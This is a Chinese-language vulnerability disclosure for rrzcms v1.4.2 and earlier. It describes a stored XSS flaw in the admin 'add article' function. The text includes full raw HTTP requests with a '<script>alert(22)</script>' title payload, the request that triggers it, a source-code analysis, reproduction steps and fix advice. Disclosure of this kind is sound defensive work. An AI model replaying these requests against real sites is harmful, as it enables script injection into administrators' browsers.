系统名称及影响版本:
rrzcms <= v1.4.2
漏洞接口:
1.Xss payload插入位置接口POST /index.php/admin/Article/addArticle.html?id=&tg=0 HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 296Origin: http://test.localhost.comConnection: closeReferer: http://test.localhost.com/index.php/admin/Index/index.htmlCookie: PHPSESSID=60dbf579bb8f981aaacb6b903fda8453; uid=Cn0EOABnV2lSIlswUHMDNA%3D%3D; email=BHMHOwViUGQDa1oiBzcMMlIVA2NWMwRhWCQAY185BmkCJFBt; phone=BXJXawJlVWBXP1sjUWEAP1RmAmJRMFYxUjIAMQgzBjUCNFN3Uj8%3D; nickname=AHdTb1UxADRVPVoiBm8HalQ7BTUAYgFmBGdVZA42XG8ANVdgBWIGM1U2DmVWZlZrVGILawFwBWg%3D; group_id=AHdUaFcwVWtXJwhgByQCNQ%3D%3D; login_time=A3RUaAJlBjsEbFwkV2QMMFRhC2gAflQyVjEHKl1kU2QBJVZhAGBdYwZnWDVRag00VmYCcQJq; login_ip=Cn0APFY5UmwDc1oxADMCOQQtUTANcFUzUCwPPggjU2o%3D; status=VCMBPQBnAz0Dc1sxAyBUYw%3D%3D; verifytime=VzpTbwNkVmQFYgFqCjwCOlNmCm0MbQFiWDE%3D; uf=B3ALN1U3UWRSOlsjADAMLgg%2BUWQHMAcyBDdSZAlhADRXYgI3UDNUYVA6CzRXNwA%2FAzxTNQNjD29XZFBkCGMBOwc6CzhVMlFnUmVbMQA3DGQIIVEzB2cHZARiUmoJNwAgV2g%3D; think_lang=zh-cntitle=%3Cscript%3Ealert(22)%3C%2Fscript%3E&subtitle=111&node_id=3&is_head=1&is_recom=0&is_special=0&is_jump=0&jump_url=&tags=&img=&author=222&view_count=0&pubtime=2022-05-06+00%3A00%3A00&ifpub=true&content=++&wap_content=++&tmpl_path=&source=&source_url=&seo_title=&seo_keywords=&seo_description=2.Xss触发位置接口GET /index.php/admin/Article/index.html HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2X-Requested-With: XMLHttpRequestConnection: closeReferer: http://test.localhost.com/index.php/admin/Index/index.htmlCookie: PHPSESSID=60dbf579bb8f981aaacb6b903fda8453; uid=Cn0EOABnV2lSIlswUHMDNA%3D%3D; email=BHMHOwViUGQDa1oiBzcMMlIVA2NWMwRhWCQAY185BmkCJFBt; phone=BXJXawJlVWBXP1sjUWEAP1RmAmJRMFYxUjIAMQgzBjUCNFN3Uj8%3D; nickname=AHdTb1UxADRVPVoiBm8HalQ7BTUAYgFmBGdVZA42XG8ANVdgBWIGM1U2DmVWZlZrVGILawFwBWg%3D; group_id=AHdUaFcwVWtXJwhgByQCNQ%3D%3D; login_time=A3RUaAJlBjsEbFwkV2QMMFRhC2gAflQyVjEHKl1kU2QBJVZhAGBdYwZnWDVRag00VmYCcQJq; login_ip=Cn0APFY5UmwDc1oxADMCOQQtUTANcFUzUCwPPggjU2o%3D; status=VCMBPQBnAz0Dc1sxAyBUYw%3D%3D; verifytime=VzpTbwNkVmQFYgFqCjwCOlNmCm0MbQFiWDE%3D; uf=B3ALN1U3UWRSOlsjADAMLgg%2BUWQHMAcyBDdSZAlhADRXYgI3UDNUYVA6CzRXNwA%2FAzxTNQNjD29XZFBkCGMBOwc6CzhVMlFnUmVbMQA3DGQIIVEzB2cHZARiUmoJNwAgV2g%3D; think_lang=zh-cn
漏洞分析及复现:
- 漏洞源码位置/app/admin/controller/Article.php 第339行

2. 这个$data被插入到articles表中,而$data来自post提交上来的参数,如下图

3. 这里我们关注$data[‘title’],也就是post传递上来的title参数,这个参数到被$data接收再到$rId = M(‘articles’)->insert($data, true)这个过程中未进行任何处理。我们再来看以下接口

4. 直接看这个接口的116行,如下图,直接读取内容并展示出来,导致存储型XSS漏洞的产生:

5. 接着来复现一下,位置在管理后台—内容管理—文章管理—文章列表—添加文章。如下图:

6. 点击添加文章,并在文章标题中填入,其他位置随意填写,如下图:

7. 之后点击确认提交,跳回到文章首页则触发XSS漏洞,如下图:
修复建议:
- 对输入位置进行编码转义或者特殊符号过滤
2. 对输出位置进行编码转义